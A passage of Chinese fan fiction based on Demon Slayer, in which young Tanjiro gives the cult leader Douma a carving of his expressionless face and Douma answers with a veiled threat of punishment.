无数的疑问在炭治郎的脑中盘旋,哪怕已经到了山下,面对乐趣的事物,也提不起兴趣,整个人看起来恹恹的。 幸子察觉到了炭治郎的情绪,她担忧地牵起男孩稚嫩的小手,“怎么了小炭治郎?你今天怪怪,发生了什么吗?有什么事你可以跟我说。” 炭治郎抬头朝女子回以一个安稳的笑容,“没事的,只是昨天晚上做了个噩梦,有些没缓过神来。” “这样啊。很可怕的噩梦吗?” “嗯,不过我已经没事了。” 幸子安慰地摸了摸他的头,“噩梦都是假的,不要在意,现实里是不会发生的。” 炭治郎愣住,幸子最后说的那句话回荡在他的耳边。 ……不会发生吗? 可貌似……已经发生了。 ————— 日落西山,暮色将近。 一大一小捧着一堆东西有说有笑地回到了极乐教。 “小炭治郎的情绪有所好转了吗?” 炭治郎抬头面向对方露出大大的笑容,在夕阳下仿佛镀上了一层金。“嗯,谢谢幸子姐姐带我出来玩闹,我的心情好多了。” 幸子很高兴炭治郎能这样说,她目光慈爱地伸手捋平男孩头顶被风吹乱的发丝,“不要担心噩梦什么的,我们在极乐教,这里有教主大人守护我们,什么都不会发生的。” 炭治郎听到这话,没由来地心里生起一丝异样,但还是点头应是。 …… 童磨傍晚出来时就看到炭治郎站在门口不远处,手里正摆弄着什么。他眉头一挑紧接着笑眯眯地走过去“呀嘞~这么晚了小炭治郎君怎么一个人站在这里,难不成是在等我?” 炭治郎微微点头,随即将手上的东西递给男鬼。 童磨看过去,那是以他的的模样雕刻出来的木雕。 教冠、头发、衣服甚至一些细节都刻画的栩栩如生,可唯独那张脸…… 与本鬼和教内金像不同的是,这个木雕童磨的脸上没有丝毫笑意。也可以说是面无表情。 童磨看着这张脸愣了片刻,随即又笑着看向炭治郎,“哎呀这个雕的真像呢,谢谢小炭治郎君的礼物,不过要是表情再像一点就更好了。” 炭治郎却摇摇头说:“我觉得这个是最像童磨先生的。” 木雕原本是要被摊主扔掉的,但炭治郎却把它买了下来。 当时摊主还极力阻止,说这是他最失败的作品,他们的教主大人是悲天悯人的“神使”,是极乐教的代表,他该时时刻刻都在“笑”。 可男孩不这么认为,他不懂什么神明和极乐教的教义,他只知道童磨先生没有情绪,雕刻的恰恰代表的是他最真实的一面。 “哦?”童磨歪了歪头,嘴角的笑意加深,眼神仍旧空洞,他紧盯着炭治郎,故意含着失落的语气问:“难道小炭治郎君不喜欢我笑吗?” 炭治郎直白地回应,“不喜欢,我更喜欢童磨先生真实的样子。” 而这句话让童磨瞳孔猛地皱缩了一瞬,一抹情绪快速划过,他喉头滚动,轻声呢喃,“喜欢我……真实的样子?” 炭治郎见男鬼有所反应,于是再次点头。 这次童磨笑出声了,“好呀~”他说,“既然小炭治郎喜欢,那我就把我最真实的一面展现给你~” 还不等炭治郎说什么,冰冷的金扇挑起男孩的下巴。“不过——”童磨话音一转,语气里的笑意隐去,多了些诡异的阴森。“可要到时,小炭治郎的表现让我不满意的话,我可是会惩罚你的哦~”